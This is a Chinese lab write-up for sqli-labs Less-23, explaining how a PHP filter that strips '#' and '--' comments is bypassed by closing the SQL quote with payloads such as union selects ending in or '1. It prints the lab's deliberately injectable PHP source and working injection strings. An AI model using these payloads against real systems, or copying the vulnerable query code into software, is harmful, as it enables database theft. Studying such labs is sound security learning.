sqli-labs less23 过滤注释符

  • 转自不知名大佬的笔记

-----------------------------------less-23-----------------------------------

原url:

192.168.137.138/sqli-labs-master/Less-23

这节课将学到一些新东西:

preg_replace() 函数 和 数据库注释

    preg_replace()

PHP中用来执行正则表达式的匹配以及替换的函数。可以返回一个正则表达式转换后的值。

原型:

preg_replace(mixed pattern,mixedreplacement,string[, intlimit = -1[,int &count]] )pattern 要搜索的模式。可以使一个字符串或字符串数组或者正则表达式
replacement 用于替换的字符串或字符串数组。string 要进行搜索和替换的字符串或字符串数组。

作用: 在 string 中查找符合正则表达式 pattern 的部分 并将其替换为 replacement ; limit 可选参数 ,默认为 -1 表示无限次的替换 ; count 可选 ,表示完成的替换次数

例如:

<?php
string = 'April 15, 2003';pattern = '\b\w{5}\b'; #表示 有一个单词 是 5个 字母的,在string中,还有April满足 这个 查询条件
replacement = 'October'; echo preg_replace(pattern, replacement,string);
?>

输出:

October 15,2003

            数据库注释

数据库: 注释: 描述

SQL Server 、Oracle、PostareSQL --(双连字符) 用于单行注释

                /* */           用于多行注释

Mysq --(双连字符) 用于单行注释( 第二个横杠-后 面紧跟一个空格 或控制符,这也 是为什么前面注 入测试的时候 用+ 带替空格 的原因

                #           用于单行注释

                /* */           用于多行注释

在 less - 23 中呢,就要用到上面的知识

同样的,首先测试 ' " 之类的特殊字符,去破坏语法结构,看看会不会报错
(返回页面 出现 的 warning 和 注入没有多大关系,可以去关闭这个 warning显示)

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

这里报错了,看似很简单,和 less-1 一样

near ' '1'' LIMIT 0,1 ' at line 1

初步猜测 后台 sql 语句:

select username,password from table where id = 'input'

按照常识

用 1' and 1=1 # 和 1' and 1=2 # 去测试

放入sql语句中看看:

select username,password from table where id = '1' and 1=1 #'

这样 where 条件 是永真

这样返回页面应该为真

效果如下:

结果他还是报错了:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

-----------------现在直接去看看源码部分,这其中是怎么个情况--------------------

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");

// take the variables
if(isset(_GET['id'])) {id=$_GET['id'];

//filter the comments out so as to comments should not work
reg = "/#/"; //被替换的字符,匹配#号reg1 = "/--/"; //被替换的字符,匹配--双横杠
replace = ""; //替换成空字符id = preg_replace(reg,replace, id);//将ID值拿去校验,有没有非法注释符id = preg_replace(reg1,replace, id);//经过这两次过滤,单行注释符已经不存在了 //logging the connection parameters to a file for analysis.fp=fopen('result.txt','a');
fwrite(fp,'ID:'.id."\n");
fclose($fp);

// connectivity

sql="SELECT * FROM users WHERE id='id' LIMIT 0,1";//这里的ID按理说已经非常安全了,因为撤去了注释符,很多注入语句无法成功构成,所以,在之前构造好的语句,已经成功闭合了,而且没有语法错误的情况下,还是爆出语法错误,就是因为 注释符 丢失了,语句的语法并没有闭合
result=mysql_query(sql);
row = mysql_fetch_array(result);

if($row)
{
echo '<font color= "#0000ff">'; 
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else 
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());//爆出 MYSQL 中的错误
echo "</font>";  
}

}
else { echo "Please input the ID as parameter with numeric value";}

?>


通过对源码的分析,已经知道了问题所在

就是因为 preg_replace() 的存在,这个是PHP 的自带的过滤函数

现在、、结合代码审计 来 构造注入语句

有两个思路:

    1-----不用注释符

    2-----用其他注释符替代

先想想 用其他注释符替代:

mysql一共有三种注释符:

--      #       /**/

很明显,第三种 /**/ 注释符,在源码中并没有对其处理

但是呢,/**/的用法和 C 语言中一样,注释的是其间的内容

比如:

/fffff/

这样达不到,SQL 注入的效果(在后续的学习中,知道了/**/可以代替空格)

所以只能想想第一种思路:

不用注释符

不用注释符的话,就应该去闭合他的SQL 语句,让其正常执行

比如,一个简单的语句:

1' or '1'='1

将其放入之前猜测的 SQL 语句中:

select username,password from table where id = '1' or '1'='1'

这样的话,没有使用注释符 也将 语句闭合了

其他语句类似,将其正确闭合就行了

不过目前2016/5/17我还不知道怎么用其他更复杂的语句去注入这种 注释符 被过滤的情况

在2016/5/19 我知道了怎么在构造的闭合条件中 添加更复杂的语句:

其实很简单,就在or或者 and 前面添加就行了

比如:

-1' union select 1,2,3,...or '1 //直接去猜字段,顺便爆出 字段位置
注:union select前面的条件应该为 假

放入 sql 语句中:

select username,password from table where id = '-1' union select 1,2,3... or '1'

语句说明,这样就起到了 or ‘1 代替注释符的效果

首先,注释符的主要作用,其实就是把 后面的 闭合条件 给注释掉

那么用 or '1 ,后面还有一个单引号,成功闭合了

而且 这个 or 后面的语句并没有进行 判读(比如1=1啊这类的),所以 这里用 and 和or
的结果是相同的

效果如下:
(先测试 union select 1,2,3,4 or ‘1)

报错了:

The used SELECT statements have a different number of columns

说明字段数应该小于4

改成
union select 1,2,3

效果如下:

返回页面 暴露出了 字段位置

构造语句:

1' and 1=2 union select 1,database(),3 or '1

效果如下:

在字段2的位置,爆出了 当前数据库名

        Your Login name:security
        Your Password:1

其他的注入语句就不一一实验了

总结:

通过 and 或是 or 构造闭合条件 代替 注释符

语句一般这样:

1(闭合条件) 注入语句 or (闭合条件)1

或者是这样:

1(闭合条件) 注入语句 and (闭合条件)1

但是在快速判断闭合条件时候

用的是 and

比如 是 GET 型传参

1'and'1

如果别和条件就是 ' 的话
那么

改变 第一个 值 1:

2'and'1

返回页面就会不同

反之,返回页面不变

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 219,539评论 6 508
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,594评论 3 396
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 165,871评论 0 356
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,963评论 1 295
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,984评论 6 393
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,763评论 1 307
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,468评论 3 420
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,357评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,850评论 1 317
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 38,002评论 3 338
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 40,144评论 1 351
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,823评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,483评论 3 331
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 32,026评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,150评论 1 272
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,415评论 3 373
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 45,092评论 2 355

推荐阅读更多精彩内容